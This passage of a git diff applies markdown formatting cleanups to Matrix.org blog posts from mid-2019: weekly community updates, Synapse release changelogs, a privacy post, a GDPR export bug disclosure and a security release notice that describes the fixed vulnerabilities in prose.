https://github.com/Half-Shot/matrix-ansible-bot. I'm informed such a thing already exists as an ansible module, but I failed to realise that and wrote a independent one in TypeScript. +> I wrote a bot to control ansible playbooks . I'm informed such a thing already exists as an ansible module, but I failed to realise that and wrote a independent one in TypeScript. [tulir] reports that: ->I made a simple reminder maubot: https://github.com/maubot/reminder It's available at https://matrix.to/#/@reminder:maunium.net +>I made a simple reminder maubot: It's available at > ->For room admins wondering if they can upgrade their rooms to v5, I made a bash script that checks all the servers in a room and prints a nice summary of the number of servers and members on each version: https://gist.github.com/tulir/aa2df287a0d192b86e5b675687791d16 +>For room admins wondering if they can upgrade their rooms to v5, I made a bash script that checks all the servers in a room and prints a nice summary of the number of servers and members on each version: [Atreatis] reports that: @@ -146,8 +147,6 @@ Pattle is going great guns at the moment. Here's [Wilko]:- They promise 'One nine of uptime guaranteed, or your money back' which sounds pretty like a bargain. - - So that's it folks, until next week. Come and say hi at [#twim:matrix.org] [Pneumaticat]: https://matrix.to/#/@kevin:potatofrom.space @@ -157,6 +156,4 @@ So that's it folks, until next week. Come and say hi at [#twim:matrix.org] [tulir]: https://matrix.to/#/@tulir:maunium.net [TravisR]: https://github.com/turt2live [#twim:matrix.org]: https://matrix.to/#/#twim:matrix.org -[Spectral]: https://gitlab.com/spectral-im/spectral -[uhoreg]: https://matrix.to/#/@uhoreg:matrix.org [Atreatis]:https://matrix.to/#/@atreatis:novaim.com diff --git a/content/blog/2019/06/2019-06-21-this-week-in-matrix-2019-06-21.md b/content/blog/2019/06/2019-06-21-this-week-in-matrix-2019-06-21.md index 0f81089d7..91dd7c0e4 100644 --- a/content/blog/2019/06/2019-06-21-this-week-in-matrix-2019-06-21.md +++ b/content/blog/2019/06/2019-06-21-this-week-in-matrix-2019-06-21.md @@ -198,12 +198,12 @@ Also: [Riot Desktop was updated on the Snap Store](https://snapcraft.io/riot-web > * Implementation of notifications is progressing well > * Migration from Koin to Dagger2 is nearly finished > * Many other tasks have been done to try to close ambitious phase 1: -> * encrypt/decrypt attachments in e2e rooms -> * Display redacted events properly in e2e rooms -> * Permalink navigation -> * Display version of app and Matrix sdk in settings -> * Disambiguation of display names -> * Many other bug fixes... +> * encrypt/decrypt attachments in e2e rooms +> * Display redacted events properly in e2e rooms +> * Permalink navigation +> * Display version of app and Matrix sdk in settings +> * Disambiguation of display names +> * Many other bug fixes... ## Dept of Ops 🛠 @@ -226,7 +226,7 @@ Also: [Riot Desktop was updated on the Snap Store](https://snapcraft.io/riot-web [jaywink]: -> Should you want to follow the Matrix.org blog using your Diaspora protocol compatible account, there is an unofficial mirror of the blog at matrixorg@social.gibberfish.org. (disclaimer: I'm not affiliated with the account, just found it and reporting) +> Should you want to follow the Matrix.org blog using your Diaspora protocol compatible account, there is an unofficial mirror of the blog at . (disclaimer: I'm not affiliated with the account, just found it and reporting) ## Final thoughts 💭 diff --git a/content/blog/2019/06/2019-06-28-this-week-in-matrix-2019-06-28.md b/content/blog/2019/06/2019-06-28-this-week-in-matrix-2019-06-28.md index e9febf6bc..e3d692285 100644 --- a/content/blog/2019/06/2019-06-28-this-week-in-matrix-2019-06-28.md +++ b/content/blog/2019/06/2019-06-28-this-week-in-matrix-2019-06-28.md @@ -33,12 +33,12 @@ They held a public vote, and Matrix won [very convincingly](https://github.com/r ## Dept of Spec 📜 > * [MSC2134](https://github.com/matrix-org/matrix-doc/pull/2134) Identity Hash Lookups is making steady progress -> * Readers who like crypto/hashing are encouraged to join in the fun +> * Readers who like crypto/hashing are encouraged to join in the fun > * [MSC2140](https://github.com/matrix-org/matrix-doc/pull/2140) Terms of Service for ISes and IMs is nearing a conclusion > * [MSC2108](https://github.com/matrix-org/matrix-doc/pull/2108) Sync over Server Sent Events hopes to add an alternative sync method to long-polling -> * Finally servers pushing events! +> * Finally servers pushing events! > * [MSC2010](https://github.com/matrix-org/matrix-doc/pull/2010) Adding client-side spoilers is a small feature but requires a lot of thought to integrate it seamlessly -> * Sorunome thought this would be easy +> * Sorunome thought this would be easy > * Lots of small fixes across the board. ## Dept of Servers 🏢 @@ -106,11 +106,11 @@ This Week in Ruma: > > * The implementation of the CS API backend has been completed to properly retrieve events from a room in real time. > * Many features have been added to the UI, here are some of them: -> * The DAG is displayed vertically, every node of the same “depth” are on the same level in the graph and each node has outgoing arcs for each of its previous events (if they have already been retrieved). -> * The node at the top of the DAG allows to fetch earlier events by selecting it. -> * Each node can have two different colors whether its “origin” is the HS the application is currently talking to or not. -> * The full JSON body of an event can be displayed by double clicking on its node. -> * It is possible to select which fields of the events will be directly included in the labels of the nodes. +> * The DAG is displayed vertically, every node of the same “depth” are on the same level in the graph and each node has outgoing arcs for each of its previous events (if they have already been retrieved). +> * The node at the top of the DAG allows to fetch earlier events by selecting it. +> * Each node can have two different colors whether its “origin” is the HS the application is currently talking to or not. +> * The full JSON body of an event can be displayed by double clicking on its node. +> * It is possible to select which fields of the events will be directly included in the labels of the nodes. > * A (server-side) backend has been implemented so that the application can directly talk to the PostgreSQL database of Synapse. You can find it on [this repo](https://github.com/Kagamihime/matrix-visualisations-backend). > > Note that the support of the Federation API has been postponed so I could work on this Synapse database backend. @@ -195,20 +195,20 @@ There is already [substantial documentation available](https://github.com/Soruno ### RiotX (Android) > * We are finalizing the MVP of RiotX. Many new features, along with many bug fixes this week: -> * Notifications for version with or without Firebase Cloud Messaging -> * Reply in e2e rooms -> * Change of DI tool (We are now using dagger2) -> * New settings, split into categories -> * New set of Emojis for quick reactions -> * New application icon -> * And many other little features -> * New disclaimer screen, displayed at first startup -> * New suggestion screen (based on bug report screen) -> * Min SDK version has been set to API 19 (Kitkat), mainly for security reasons, but also because we are using MotionLayout which is available only on API 18+. +> * Notifications for version with or without Firebase Cloud Messaging +> * Reply in e2e rooms +> * Change of DI tool (We are now using dagger2) +> * New settings, split into categories +> * New set of Emojis for quick reactions +> * New application icon +> * And many other little features +> * New disclaimer screen, displayed at first startup +> * New suggestion screen (based on bug report screen) +> * Min SDK version has been set to API 19 (Kitkat), mainly for security reasons, but also because we are using MotionLayout which is available only on API 18+. > * Remaining work to do before we can release the first beta version on the PlayStore: -> * Encrypt/Decrypt attachment in e2e rooms -> * Last event display in the room list -> * Test, test, test, and fix, fix, fix :) +> * Encrypt/Decrypt attachment in e2e rooms +> * Last event display in the room list +> * Test, test, test, and fix, fix, fix :) ### Integration of Matrix into Delphus @@ -384,7 +384,6 @@ See you next week, and be sure to stop by [#twim:matrix.org] with your updates! [Black Hat]: https://matrix.to/#/@bhat:encom.eu.org [Brendan]: https://matrix.to/#/@brendan:abolivier.bzh [continuum]: https://github.com/koma-im/continuum-desktop -[Dandellion]: https://matrix.to/#/@dandellion:dodsorf.as [Fractal]: https://wiki.gnome.org/Apps/Fractal [jeon]: https://gitlab.com/ma1uta/jeon [jeonserver]: https://gitlab.com/ma1uta/jeonserver diff --git a/content/blog/2019/06/2019-06-30-tightening-up-privacy-in-matrix.md b/content/blog/2019/06/2019-06-30-tightening-up-privacy-in-matrix.md index 410993e8f..91ca9fb65 100644 --- a/content/blog/2019/06/2019-06-30-tightening-up-privacy-in-matrix.md +++ b/content/blog/2019/06/2019-06-30-tightening-up-privacy-in-matrix.md @@ -58,13 +58,13 @@ Specifically: [MSC2140](https://github.com/matrix-org/matrix-doc/pull/2140) for the gory details. -Meanwhile, Riot is being updated to prompt the user to accept the IS & IM terms -of use (if different to the HS's), and thus make it crystal clear to the user -that they are using an IS & IM and that they have the option not to if desired - see https://github.com/vector-im/riot-web/issues/10167 and associated -[issues](https://github.com/vector-im/riot-web/issues?utf8=%E2%9C%93&q=is%3Aissue+label%3Ap1+label%3Aprivacy+label%3Aphase%3A1+identity). -This includes also explicitly prompting the user as to whether they want -3PIDs they provide at registration to be discoverable, as per -https://github.com/vector-im/riot-web/issues/10091. + Meanwhile, Riot is being updated to prompt the user to accept the IS & IM terms + of use (if different to the HS's), and thus make it crystal clear to the user + that they are using an IS & IM and that they have the option not to if desired - see and associated + [issues](https://github.com/vector-im/riot-web/issues?utf8=%E2%9C%93&q=is%3Aissue+label%3Ap1+label%3Aprivacy+label%3Aphase%3A1+identity). + This includes also explicitly prompting the user as to whether they want + 3PIDs they provide at registration to be discoverable, as per + . 2. Riot on iOS & Android gives the option of scanning your local addressbook to discover which of your contacts are on Matrix. The wording explaining this @@ -78,7 +78,7 @@ https://github.com/vector-im/riot-web/issues/10091. contact details anyway by hashing as per [MSC2134](https://github.com/matrix-org/matrix-doc/pull/2134), which has all the details. We're also adding an explicit lookup warning in Riot/Web, as - per https://github.com/vector-im/riot-web/issues/10093. + per . 3. There was a bug where Riot/Web was querying the Integration Manager every time you opened a room, even if that room had no integrations (actually, it @@ -119,14 +119,14 @@ https://github.com/vector-im/riot-web/issues/10091. slightly increased the chances of calls working for users without a proper TURN server, but not by much - and rather than fall back to Google, we've decided to simply remove it from Riot (e.g. - https://github.com/matrix-org/matrix-ios-sdk/commit/24832a2b14fb72ae6f051d5aba40262d11eef65d). + ). This means that VoIP might get less reliable for users who were relying on this fallback, but you really should be running your own TURN server anyway if you want VoIP to work reliably on your homeserver. 6. We should make it clearer in Riot that device names are world-readable, and not just for the user's own personal reference. This is - https://github.com/vector-im/riot-web/issues/10216 + As you can see, much of the work on improving these issues is still in full swing, although some has already shipped. As should also be obvious, these diff --git a/content/blog/2019/07/2019-07-04-synapse-1-1-0-released.md b/content/blog/2019/07/2019-07-04-synapse-1-1-0-released.md index 7eb6cbca5..75305c8ac 100644 --- a/content/blog/2019/07/2019-07-04-synapse-1-1-0-released.md +++ b/content/blog/2019/07/2019-07-04-synapse-1-1-0-released.md @@ -26,8 +26,7 @@ As ever, you can get the new update [here](https://github.com/matrix-org/synapse The changelog since 1.0.0 follows: -Synapse 1.1.0 (2019-07-04) -========================== +## Synapse 1.1.0 (2019-07-04) As of v1.1.0, Synapse no longer supports Python 2, nor Postgres version 9.4. See the [upgrade notes](https://github.com/matrix-org/synapse/blob/master/UPGRADE.rst#upgrading-to-v110) for more details. @@ -38,32 +37,24 @@ for more details. No changes since 1.1.0rc2. +## Synapse 1.1.0rc2 (2019-07-03) -Synapse 1.1.0rc2 (2019-07-03) -============================= - -Bugfixes --------- +### Bugfixes - Fix regression in 1.1rc1 where OPTIONS requests to the media repo would fail. ([\#5593](https://github.com/matrix-org/synapse/issues/5593)) - Removed the `SYNAPSE_SMTP_*` docker container environment variables. Using these environment variables prevented the docker container from starting in Synapse v1.0, even though they didn't actually allow any functionality anyway. ([\#5596](https://github.com/matrix-org/synapse/issues/5596)) - Fix a number of "Starting txn from sentinel context" warnings. ([\#5605](https://github.com/matrix-org/synapse/issues/5605)) - -Internal Changes ----------------- +### Internal Changes - Update github templates. ([\#5552](https://github.com/matrix-org/synapse/issues/5552)) - -Synapse 1.1.0rc1 (2019-07-02) -============================= +## Synapse 1.1.0rc1 (2019-07-02) As of v1.1.0, Synapse no longer supports Python 2, nor Postgres version 9.4. See the [upgrade notes](UPGRADE.rst#upgrading-to-v110) for more details. -Features --------- +### Features - Added possibility to disable local password authentication. Contributed by Daniel Hoffend. ([\#5092](https://github.com/matrix-org/synapse/issues/5092)) - Add monthly active users to phonehome stats. ([\#5252](https://github.com/matrix-org/synapse/issues/5252)) @@ -81,8 +72,7 @@ Features - Optimise devices changed query to not pull unnecessary rows from the database, reducing database load. ([\#5559](https://github.com/matrix-org/synapse/issues/5559)) - Add new metrics for number of forward extremities being persisted and number of state groups involved in resolution. ([\#5476](https://github.com/matrix-org/synapse/issues/5476)) -Bugfixes --------- +### Bugfixes - Fix bug processing incoming events over federation if call to `/get_missing_events` fails. ([\#5042](https://github.com/matrix-org/synapse/issues/5042)) - Prevent more than one room upgrade happening simultaneously on the same room. ([\#5051](https://github.com/matrix-org/synapse/issues/5051)) @@ -101,9 +91,8 @@ Bugfixes - Fixed m.login.jwt using unregistered user_id and added pyjwt>=1.6.4 as jwt conditional dependencies. Contributed by Pau Rodriguez-Estivill. ([\#5555](https://github.com/matrix-org/synapse/issues/5555), [\#5586](https://github.com/matrix-org/synapse/issues/5586)) - Fix a bug that would cause invited users to receive several emails for a single 3PID invite in case the inviter is rate limited. ([\#5576](https://github.com/matrix-org/synapse/issues/5576)) +### Updates to the Docker image -Updates to the Docker image ---------------------------- - Add ability to change Docker containers [timezone](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones) with the `TZ` variable. ([\#5383](https://github.com/matrix-org/synapse/issues/5383)) - Update docker image to use Python 3.7. ([\#5546](https://github.com/matrix-org/synapse/issues/5546)) - Deprecate the use of environment variables for configuration, and make the use of a static configuration the default. ([\#5561](https://github.com/matrix-org/synapse/issues/5561), [\#5562](https://github.com/matrix-org/synapse/issues/5562), [\#5566](https://github.com/matrix-org/synapse/issues/5566), [\#5567](https://github.com/matrix-org/synapse/issues/5567)) @@ -113,24 +102,19 @@ Updates to the Docker image - Fix failure to start under docker with SAML support enabled. ([\#5490](https://github.com/matrix-org/synapse/issues/5490)) - Use a sensible location for data files when generating a config file. ([\#5563](https://github.com/matrix-org/synapse/issues/5563)) - -Deprecations and Removals -------------------------- +### Deprecations and Removals - Python 2.7 is no longer a supported platform. Synapse now requires Python 3.5+ to run. ([\#5425](https://github.com/matrix-org/synapse/issues/5425)) - PostgreSQL 9.4 is no longer supported. Synapse requires Postgres 9.5+ or above for Postgres support. ([\#5448](https://github.com/matrix-org/synapse/issues/5448)) - Remove support for cpu_affinity setting. ([\#5525](https://github.com/matrix-org/synapse/issues/5525)) +### Improved Documentation -Improved Documentation ----------------------- - Improve README section on performance troubleshooting. ([\#4276](https://github.com/matrix-org/synapse/issues/4276)) - Add information about how to install and run `black` on the codebase to code_style.rst. ([\#5537](https://github.com/matrix-org/synapse/issues/5537)) - Improve install docs on choosing server_name. ([\#5558](https://github.com/matrix-org/synapse/issues/5558)) - -Internal Changes ----------------- +### Internal Changes - Add logging to 3pid invite signature verification. ([\#5015](https://github.com/matrix-org/synapse/issues/5015)) - Update example haproxy config to a more compatible setup. ([\#5313](https://github.com/matrix-org/synapse/issues/5313)) diff --git a/content/blog/2019/07/2019-07-05-this-week-in-matrix-2019-07-05.md b/content/blog/2019/07/2019-07-05-this-week-in-matrix-2019-07-05.md index 6fc4f57a4..1c6610e91 100644 --- a/content/blog/2019/07/2019-07-05-this-week-in-matrix-2019-07-05.md +++ b/content/blog/2019/07/2019-07-05-this-week-in-matrix-2019-07-05.md @@ -23,14 +23,14 @@ Note that there is a audio hiccup around 2m30 - video is ok otherwise. ### Highlights * [MSC2140: Terms of Service for ISes and IMs](https://github.com/matrix-org/matrix-doc/pull/2140) - * Largely complete + * Largely complete * [MSC2134: Identity Hash Lookups](https://github.com/matrix-org/matrix-doc/pull/2134) - * Largely complete - * Going ahead with the simple hash lookup method + * Largely complete + * Going ahead with the simple hash lookup method * [Matthew/msc1849 rewrite](https://github.com/matrix-org/matrix-doc/pull/2154) - * Rewrite of the [Proposal for m.relates_to aggregations](https://github.com/matrix-org/matrix-doc/pull/1849) MSC with new updates + * Rewrite of the [Proposal for m.relates_to aggregations](https://github.com/matrix-org/matrix-doc/pull/1849) MSC with new updates * [MSC2153: Add a default push rule to ignore m.reaction events](https://github.com/matrix-org/matrix-doc/pull/2153) - * Will help prevent ghost notifications appearing when a reaction is the last event in the room + * Will help prevent ghost notifications appearing when a reaction is the last event in the room ### Movement on Matrix URIs @@ -175,10 +175,10 @@ But that could be any room, so it seems ok to me. > > Changes: > -> * Fix the infamous `FormatException: Not a valid url: ` error! +> * Fix the infamous `FormatException: Not a valid url:` error! > * Room upgrades are now handled! -> * Upgraded rooms are now hidden from the overview -> * To access older messages from the previous room, simply scroll up: the timeline is seamless +> * Upgraded rooms are now hidden from the overview +> * To access older messages from the previous room, simply scroll up: the timeline is seamless > * Improve performance of loading the overview. > Opening the app should be a lot quicker now! > * Improve performance of loading a chat @@ -217,7 +217,7 @@ Pretty costly, so any donations will be greatly appreciated! This will be so much easier to use! Also: -> Quaternion has got a new contributor, Roland Pallai (https://github.com/rpallai), who added colouring of messages sent by the local user and support of drag-n-drop of text and images on [Quaternion], along with general improvements on the timeline. Many thanks! +> Quaternion has got a new contributor, Roland Pallai (), who added colouring of messages sent by the local user and support of drag-n-drop of text and images on [Quaternion], along with general improvements on the timeline. Many thanks! > > Windows builds of Quaternion (CI and future releases) come with Qt Keychain enabled, storing your access tokens in Windows secure storage. @@ -271,7 +271,7 @@ This will be so much easier to use! Also: [modular.im] are making the *much-asked-for* SMALL instances available. This service is rolling out starting with people who have previously enquired about availability, which I gather is a lot of people. Go sign up if you're interested! >

    The wait is almost over ... We're now rolling out our trial of Small Hosted Homeservers for Matrix. Have you got your golden ticket yet? 😀🎟️ pic.twitter.com/iUkAIHW9MY

    — Modular (@ModularIM) July 3, 2019 - +> > we've been working on a v1 admin dashboard for managing your Synapse instances through Modular. This is now live on the site and provides a basic suite of functionality including: > > * Viewing users of your synapse homeserver(s) @@ -303,11 +303,9 @@ See you next week, and be sure to stop by [#twim:matrix.org] with your updates! [Cadair]: https://matrix.to/#/@cadair:cadair.com [Half-Shot]: https://matrix.to/#/@Half-Shot:half-shot.uk [kitsune]: https://matrix.to/#/@kitsune:matrix.org -[koma]: https://github.com/koma-im/koma/ [Mathijs]: https://matrix.to/#/@mathijs:matrix.vgorcum.com [Matrix Python SDK]: https://github.com/matrix-org/matrix-python-sdk [Ruby SDK]: https://github.com/ananace/ruby-matrix-sdk -[matrix-appservice-discord]: https://github.com/Half-Shot/matrix-appservice-discord [matrix-appservice-slack]: https://github.com/matrix-org/matrix-appservice-slack [modular.im]: https://www.modular.im/ [Quaternion]: https://github.com/QMatrixClient/Quaternion @@ -315,14 +313,10 @@ See you next week, and be sure to stop by [#twim:matrix.org] with your updates! [Wilko]: https://matrix.to/#/@wilko:matrix.org [yuforia]: https://matrix.to/#/@uforia:matrix.org [libQuotient]: https://github.com/quotient-im/libQuotient -[mx-puppet-bridge]: https://github.com/Sorunome/mx-puppet-bridge [#mx-puppet-bridge:sorunome.de]: https://matrix.to/#/#mx-puppet-bridge:sorunome.de -[wilko]: https://matrix.to/#/@wilko:pattle.im -[Cnly]: https://matrix.to/#/@cnly:matrix.org [Brian Ó]: https://matrix.to/#/@blacksam:matrix.gibberfish.org [python-matrixbot]: https://pypi.org/project/python-matrixbot/ [#matrix_appservice_slack:cadair.com]: https://matrix.to/#/#matrix_appservice_slack:cadair.com [lino]: https://matrix.to/#/@lino:m.l1f.de [ananace-matrix-synapse-k8s]: https://github.com/ananace/matrix-synapse [avhost-docker-matrix]: https://hub.docker.com/r/avhost/docker-matrix -[Cadair]: https://matrix.to/#/@cadair:cadair.com diff --git a/content/blog/2019/07/2019-07-12-this-week-in-matrix-2019-07-12.md b/content/blog/2019/07/2019-07-12-this-week-in-matrix-2019-07-12.md index 18d26cde7..2b0a933a1 100644 --- a/content/blog/2019/07/2019-07-12-this-week-in-matrix-2019-07-12.md +++ b/content/blog/2019/07/2019-07-12-this-week-in-matrix-2019-07-12.md @@ -96,10 +96,10 @@ See it in action: ## Dept of Clients 📱 -### RiotX big announcement! +### RiotX big announcement ->* We have released a beta version to the PlayStore on Thursday! You can download (and rate it) here: https://play.google.com/store/apps/details?id=im.vector.riotx . Also feel free to join https://matrix.to/#/#riotx:matrix.org to provide any feedback! ->* You will find more details about what RiotX can (and cannot yet) do here: https://medium.com/@RiotChat/introducing-the-riotx-beta-for-android-b17952e8f771 +>* We have released a beta version to the PlayStore on Thursday! You can download (and rate it) here: . Also feel free to join to provide any feedback! +>* You will find more details about what RiotX can (and cannot yet) do here: >* Now we are working on fixing bugs, and keep going implementing the missing features I've been using RiotX a lot lately and find it great - really snappy. @@ -134,9 +134,9 @@ Join [#tkmc:matrix.org] to chat more about Continuum, or about [koma], the under ### Riot iOS > * Reactions and edits: -> * Enabled by default (no more LABS setting) -> * Reactions with non-unicode keys -> * Original event in the edit history (need homeserver update) +> * Enabled by default (no more LABS setting) +> * Reactions with non-unicode keys +> * Original event in the edit history (need homeserver update) > * Upgraded rooms are now autojoined when tapping on the upgraded banner > * File upload from the room screen and from the share extension > * Crypto: logs have been improved and a script has been created to help to debug e2e bugs (see the screenshot at ) diff --git a/content/blog/2019/07/2019-07-19-this-week-in-matrix-2019-07-19.md b/content/blog/2019/07/2019-07-19-this-week-in-matrix-2019-07-19.md index bb525b8a1..cc7cca74b 100644 --- a/content/blog/2019/07/2019-07-19-this-week-in-matrix-2019-07-19.md +++ b/content/blog/2019/07/2019-07-19-this-week-in-matrix-2019-07-19.md @@ -21,16 +21,16 @@ Featuring: Open Tracing, Synapse, Dendrite and Riot Web ### Spec News * [MSC2181: Add an Error Code for Signaling a Deactivated User](https://github.com/matrix-org/matrix-doc/pull/2181) - * New MSC, with FCP proposed. - * Will allow matrix clients to differentiate between incorrect password entry and a user who has been deactivated. + * New MSC, with FCP proposed. + * Will allow matrix clients to differentiate between incorrect password entry and a user who has been deactivated. * [MSC2174: Move the `redacts` key to a sane place](https://github.com/matrix-org/matrix-doc/pull/2174) * [MSC2175: Remove the `creator` field from `m.room.create` events](https://github.com/matrix-org/matrix-doc/pull/2175) * [MSC2176: Update the redaction rules](https://github.com/matrix-org/matrix-doc/pull/2176) - * [richvdh](https://matrix.to/#/@richvdh:sw1v.org) storms in with 3 MSCs to fix some old spec issues relating to event redactions. + * [richvdh](https://matrix.to/#/@richvdh:sw1v.org) storms in with 3 MSCs to fix some old spec issues relating to event redactions. * [MSC2184: Allow the use of the HTML `
    ` tag](https://github.com/matrix-org/matrix-doc/pull/2184) - * [ananace](https://github.com/ananace)’s first MSC! - * Allowing expandable content within messages. - * Would be very useful for logs dumps, bot help messages and for posting other large content without spamming the room. + * [ananace](https://github.com/ananace)’s first MSC! + * Allowing expandable content within messages. + * Would be very useful for logs dumps, bot help messages and for posting other large content without spamming the room. ### (not quite matrix) feneas call for comments on spec for metadata @@ -126,8 +126,8 @@ Take a look at the [getting started guide](https://matrix.org/docs/guides/usage- From the team (see Matrix Live from last week for more from them): > * RiotX 0.2.0 has been released on Thursday. Main new features: room filtering, message editing in e2e rooms, view editing history. Also many small new features and bugfixes. -> * Full perimeter can be found here: -> * Known limitation: crash on device running Android KitKat (4.4). We are considering supporting only device running Android Lollipop (5.0) and up (see/approve/comment ) +> * Full perimeter can be found here: +> * Known limitation: crash on device running Android KitKat (4.4). We are considering supporting only device running Android Lollipop (5.0) and up (see/approve/comment ) > * The team is still working on the main missing features: creation of direct chat, read receipt, along with UI/UX polishing. If you're using Android, definitely start trying RiotX, you can even [find it in the Play Store](https://play.google.com/store/apps/details?id=im.vector.riotx&rdid=im.vector.riotx) now. @@ -230,13 +230,11 @@ See you next week, and be sure to stop by [#twim:matrix.org] with your updates! [jaywink]: https://matrix.to/#/@jaywink:feneas.org [koma]: https://github.com/koma-im/koma/ [Krille]: https://matrix.to/#/@krille:chat.regionetz.net -[Ruby SDK]: https://github.com/ananace/ruby-matrix-sdk [matrix-nio]: https://github.com/poljar/matrix-nio [poljar]: https://github.com/poljar [TravisR]: https://github.com/turt2live [tulir]: https://matrix.to/#/@tulir:maunium.net [yuforia]: https://matrix.to/#/@uforia:matrix.org -[Cnly]: https://matrix.to/#/@cnly:matrix.org [Jimmy]: https://matrix.to/#/@jimmycuadra:matrix.org [Tim]: https://matrix.to/#/@thosgood:matrix.org [ruma-signatures]: https://github.com/ruma/ruma-signatures/ diff --git a/content/blog/2019/07/2019-07-24-data-portability-tooling-bug.md b/content/blog/2019/07/2019-07-24-data-portability-tooling-bug.md index 773ee6549..7977e4f0a 100644 --- a/content/blog/2019/07/2019-07-24-data-portability-tooling-bug.md +++ b/content/blog/2019/07/2019-07-24-data-portability-tooling-bug.md @@ -12,6 +12,7 @@ It was drawn to our attention this afternoon that there is a bug in our GDPR dat This tooling has recently been updated ([here is the new code](https://github.com/matrix-org/synapse/blob/baf081cd3b040926e2d14dfd1c555307bba59245/synapse/handlers/admin.py#L98)), and the bug only affects reports generated with the updated tool. So far we have generated one report using the updated tooling. The bug affects events which: + - were sent in rooms in which, at the point at which the message was sent, the message visibility was set to 'shared' or 'world readable', and - were pulled in over federation from another server after the data subject left the room @@ -24,6 +25,7 @@ We're still analysing the data but so far it looks like the bug resulted in only It is also worth noting that any encrypted events erroneously included in the dump will not have been decryptable (since the data subject would not have had access to the keys). ### Update (2019-08-06) +> > In our original analysis we stated that 19 events were shared erroneously. On closer analysis we missed 5 other timeline events - the correct figure is 24 timeline events originating from 4 users over 2 rooms. However, this figure focused on timeline data and does not take into account all state events (such as user joins, parts, topic changes etc). When considering these too, a further 56 state events were erroneously shared, referencing 64 users across these 2 rooms (mainly detailing when users had joined/left the room after the requesting user themselves had left). These membership events contained avatar & display name details which may not have been public (but in practice, the vast majority appear to be public data). > > Aside from the events referenced above, the full dump contained ~20,000 events that also ought not to have been included; however **these events were already publicly accessible due to being part of publicly accessible rooms** (eg Matrix HQ) and so we do not consider them a breach of data. @@ -33,6 +35,7 @@ It is also worth noting that any encrypted events erroneously included in the du Events that are pulled in over federation are assigned a negative 'stream ordering' ID. This is designed to avoid their being sent down the sync (where they would likely be out of sequence). In normal operation (accessing your homeserver via a Matrix client) these events would be appropriately filtered, but a bug in the data dump tooling caused them to be included. The bug was introduced as a result of two factors: + - The event filtering code assumes that the user is currently in the room - this was not intuitive, and was not called out in the documentation - When we fetched the events from the database, we tried to limit to events sent before the user left the room. On reflection, we used the wrong ordering mechanism (stream ordering instead of topological ordering), resulting in the inclusion of events that were fetched from a remote server after the data subject had left diff --git a/content/blog/2019/07/2019-07-25-synapse-1-2-0-released.md b/content/blog/2019/07/2019-07-25-synapse-1-2-0-released.md index 65297ba40..714f40f6d 100644 --- a/content/blog/2019/07/2019-07-25-synapse-1-2-0-released.md +++ b/content/blog/2019/07/2019-07-25-synapse-1-2-0-released.md @@ -13,24 +13,19 @@ As ever, you can get the new update [here](https://github.com/matrix-org/synapse The changelog since 1.1.0 follows: -Synapse 1.2.0 (2019-07-25) -========================== +## Synapse 1.2.0 (2019-07-25) + No significant changes. -Synapse 1.2.0rc2 (2019-07-24) -============================= +## Synapse 1.2.0rc2 (2019-07-24) -Bugfixes --------- +### Bugfixes - Fix a regression introduced in v1.2.0rc1 which led to incorrect labels on some prometheus metrics. ([\#5734](https://github.com/matrix-org/synapse/issues/5734)) +## Synapse 1.2.0rc1 (2019-07-22) -Synapse 1.2.0rc1 (2019-07-22) -============================= - -Features --------- +### Features - Add support for opentracing. ([\#5544](https://github.com/matrix-org/synapse/issues/5544), [\#5712](https://github.com/matrix-org/synapse/issues/5712)) - Add ability to pull all locally stored events out of synapse that a particular user can see. ([\#5589](https://github.com/matrix-org/synapse/issues/5589)) @@ -42,9 +37,7 @@ Features - Return "This account has been deactivated" when a deactivated user tries to login. ([\#5674](https://github.com/matrix-org/synapse/issues/5674)) - Enable aggregations support by default ([\#5714](https://github.com/matrix-org/synapse/issues/5714)) - -Bugfixes --------- +### Bugfixes - Fix 'utime went backwards' errors on daemonization. ([\#5609](https://github.com/matrix-org/synapse/issues/5609)) - Various minor fixes to the federation request rate limiter. ([\#5621](https://github.com/matrix-org/synapse/issues/5621)) @@ -56,31 +49,23 @@ Bugfixes - Fix some problems with authenticating redactions in recent room versions. ([\#5699](https://github.com/matrix-org/synapse/issues/5699), [\#5700](https://github.com/matrix-org/synapse/issues/5700), [\#5707](https://github.com/matrix-org/synapse/issues/5707)) - Ignore redactions of m.room.create events. ([\#5701](https://github.com/matrix-org/synapse/issues/5701)) - -Updates to the Docker image ---------------------------- +### Updates to the Docker image - Base Docker image on a newer Alpine Linux version (3.8 -> 3.10). ([\#5619](https://github.com/matrix-org/synapse/issues/5619)) - Add missing space in default logging file format generated by the Docker image. ([\#5620](https://github.com/matrix-org/synapse/issues/5620)) - -Improved Documentation ----------------------- +### Improved Documentation - Add information about nginx normalisation to reverse_proxy.rst. Contributed by @skalarproduktraum - thanks! ([\#5397](https://github.com/matrix-org/synapse/issues/5397)) - --no-pep517 should be --no-use-pep517 in the documentation to setup the development environment. ([\#5651](https://github.com/matrix-org/synapse/issues/5651)) - Improvements to Postgres setup instructions. Contributed by @Lrizika - thanks! ([\#5661](https://github.com/matrix-org/synapse/issues/5661)) - Minor tweaks to postgres documentation. ([\#5675](https://github.com/matrix-org/synapse/issues/5675)) - -Deprecations and Removals -------------------------- +### Deprecations and Removals - Remove support for the `invite_3pid_guest` configuration setting. ([\#5625](https://github.com/matrix-org/synapse/issues/5625)) - -Internal Changes ----------------- +### Internal Changes - Move logging code out of `synapse.util` and into `synapse.logging`. ([\#5606](https://github.com/matrix-org/synapse/issues/5606), [\#5617](https://github.com/matrix-org/synapse/issues/5617)) - Add a blacklist file to the repo to blacklist certain sytests from failing CI. ([\#5611](https://github.com/matrix-org/synapse/issues/5611)) diff --git a/content/blog/2019/07/2019-07-26-critical-security-update-synapse-1-2-1-released.md b/content/blog/2019/07/2019-07-26-critical-security-update-synapse-1-2-1-released.md index d0600b013..8ac70fbfc 100644 --- a/content/blog/2019/07/2019-07-26-critical-security-update-synapse-1-2-1-released.md +++ b/content/blog/2019/07/2019-07-26-critical-security-update-synapse-1-2-1-released.md @@ -17,12 +17,11 @@ This release includes *four* security fixes: - Fix a vulnerability where a federated server could spoof read-receipts from users on other servers. Thanks to [Dylanger](https://github.com/dylangerdaly) for identifying this issue too. ([\#5743](https://github.com/matrix-org/synapse/issues/5743)) -Additionally, the following fix was in Synapse **1.2.0**, but was not correctly +Additionally, the following fix was in Synapse __1.2.0__, but was not correctly identified during the original release: - It was possible for a room moderator to send a redaction for an `m.room.create` event, which would downgrade the room to version 1. Thanks to `@/dev/ponies:ponies.im` for identifying and responsibly disclosing this issue! 